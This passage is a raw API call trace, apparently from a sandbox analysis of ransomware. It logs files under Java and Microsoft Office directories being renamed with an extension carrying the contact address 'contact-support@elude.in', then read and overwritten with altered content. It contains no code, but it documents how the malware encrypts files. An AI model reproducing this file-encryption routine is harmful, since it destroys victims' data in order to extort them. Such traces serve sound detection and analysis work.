ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSL~1.FIR")) returned 0x6d5200 [0131.607] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.607] GetProcessHeap () returned 0x630000 [0131.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x714c008 [0131.608] GetProcessHeap () returned 0x630000 [0131.608] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7157438 [0131.608] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.608] ReadFile (in: hFile=0x410, lpBuffer=0x714c008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c008*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.306] GetProcessHeap () returned 0x630000 [0139.306] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0139.306] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.306] WriteFile (in: hFile=0x410, lpBuffer=0x7157438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157438*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.306] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.307] WriteFile (in: hFile=0x410, lpBuffer=0x7162837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162837*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.307] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.307] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.307] CloseHandle (hObject=0x410) returned 1 [0139.307] GetProcessHeap () returned 0x630000 [0139.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7157438 | out: hHeap=0x630000) returned 1 [0139.307] GetProcessHeap () returned 0x630000 [0139.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c008 | out: hHeap=0x630000) returned 1 [0139.307] GetProcessHeap () returned 0x630000 [0139.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0139.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x18fb52ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x149a7, dwReserved0=0xc447496, dwReserved1=0x714c000, cFileName="classlist.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSL~1.FIR")) returned 0x6d5200 [0139.307] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0139.307] Sleep (dwMilliseconds=0x1) [0140.441] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms", len=0x52 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 1 [0140.441] GetProcessHeap () returned 0x630000 [0140.441] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c38) returned 0x7203db8 [0140.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0142.621] CloseHandle (hObject=0x708) returned 1 [0142.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42d7c8c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42d7c8c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43967f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564c, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="HomeBusinessR_Retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOBF57~1.FIR")) returned 0x6d4e00 [0143.848] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0143.848] GetProcessHeap () returned 0x630000 [0143.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5661) returned 0x6ed88b0 [0143.849] GetProcessHeap () returned 0x630000 [0143.849] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5661) returned 0x6eddf20 [0143.849] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.849] ReadFile (in: hFile=0x708, lpBuffer=0x6ed88b0, nNumberOfBytesToRead=0x5640, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesRead=0x36bff0c*=0x5640, lpOverlapped=0x0) returned 1 [0145.478] GetProcessHeap () returned 0x630000 [0145.478] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0145.478] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.479] WriteFile (in: hFile=0x708, lpBuffer=0x6eddf20*, nNumberOfBytesToWrite=0x5640, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eddf20*, lpNumberOfBytesWritten=0x36bff0c*=0x5640, lpOverlapped=0x0) returned 1 [0145.965] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.965] WriteFile (in: hFile=0x708, lpBuffer=0x6ee355f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee355f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.965] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.966] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.966] CloseHandle (hObject=0x708) returned 1 [0145.966] GetProcessHeap () returned 0x630000 [0145.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eddf20 | out: hHeap=0x630000) returned 1 [0145.966] GetProcessHeap () returned 0x630000 [0145.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0145.967] GetProcessHeap () returned 0x630000 [0145.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0145.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42d7c8c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42d7c8c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf42db2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0xc447496, dwReserved1=0x6ed88a8, cFileName="HomeBusinessR_Retail3-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOBF57~1.FIR")) returned 0x6d5280 [0145.967] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.967] Sleep (dwMilliseconds=0x1) [0146.027] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", len=0x55 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml") returned 1 [0146.027] GetProcessHeap () returned 0x630000 [0146.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2720) returned 0x71f7c78 [0146.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.615] CloseHandle (hObject=0x640) returned 1 [0146.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5280 [0146.616] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.616] GetProcessHeap () returned 0x630000 [0146.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x709768 [0146.616] GetProcessHeap () returned 0x630000 [0146.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x719bd60 [0146.616] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.616] ReadFile (in: hFile=0x640, lpBuffer=0x709768, nNumberOfBytesToRead=0xd20, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x36bff0c*=0xd20, lpOverlapped=0x0) returned 1 [0146.630] GetProcessHeap () returned 0x630000 [0146.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.630] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.630] WriteFile (in: hFile=0x640, lpBuffer=0x719bd60*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x719bd60*, lpNumberOfBytesWritten=0x36bff0c*=0xd20, lpOverlapped=0x0) returned 1 [0146.630] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.630] WriteFile (in: hFile=0x640, lpBuffer=0x719ca7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ca7f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.630] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.630] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.631] CloseHandle (hObject=0x640) returned 1 [0146.631] GetProcessHeap () returned 0x630000 [0146.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719bd60 | out: hHeap=0x630000) returned 1 [0146.631] GetProcessHeap () returned 0x630000 [0146.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0146.631] GetProcessHeap () returned 0x630000 [0146.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d584ee1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd62, dwReserved0=0xc447496, dwReserved1=0x709760, cFileName="officeinventoryagentfallback.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5540 [0146.631] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.631] Sleep (dwMilliseconds=0x1) [0146.636] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL", len=0x3c | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL") returned 1 [0146.636] GetProcessHeap () returned 0x630000 [0146.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26d4) returned 0x71f7c78 [0146.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.637] CloseHandle (hObject=0x640) returned 1 [0146.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOACL~1.FIR")) returned 0x6d5280 [0146.643] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mso.acl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.643] GetProcessHeap () returned 0x630000 [0146.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9381) returned 0x728fb10 [0146.643] GetProcessHeap () returned 0x630000 [0146.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9381) returned 0x7298ea0 [0146.643] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.643] ReadFile (in: hFile=0x640, lpBuffer=0x728fb10, nNumberOfBytesToRead=0x9360, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fb10*, lpNumberOfBytesRead=0x36bff0c*=0x9360, lpOverlapped=0x0) returned 1 [0152.729] GetProcessHeap () returned 0x630000 [0152.729] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0152.730] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.730] WriteFile (in: hFile=0x640, lpBuffer=0x7298ea0*, nNumberOfBytesToWrite=0x9360, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7298ea0*, lpNumberOfBytesWritten=0x36bff0c*=0x9360, lpOverlapped=0x0) returned 1 [0152.730] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.730] WriteFile (in: hFile=0x640, lpBuffer=0x72a21ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a21ff*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0152.730] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.730] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0152.730] CloseHandle (hObject=0x640) returned 1 [0152.731] GetProcessHeap () returned 0x630000 [0152.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7298ea0 | out: hHeap=0x630000) returned 1 [0152.731] GetProcessHeap () returned 0x630000 [0152.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728fb10 | out: hHeap=0x630000) returned 1 [0152.731] GetProcessHeap () returned 0x630000 [0152.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0152.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0152.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x20fb9407, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9386, dwReserved0=0xc447496, dwReserved1=0x728fb08, cFileName="MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOACL~1.FIR")) returned 0x6d4f40 [0152.731] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0152.731] Sleep (dwMilliseconds=0x1) [0154.541] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe", len=0x8c | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe") returned 1 [0154.541] GetProcessHeap () returned 0x630000 [0154.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b90) returned 0x713f7f0 [0154.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0154.919] CloseHandle (hObject=0x718) returned 1 [0154.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel 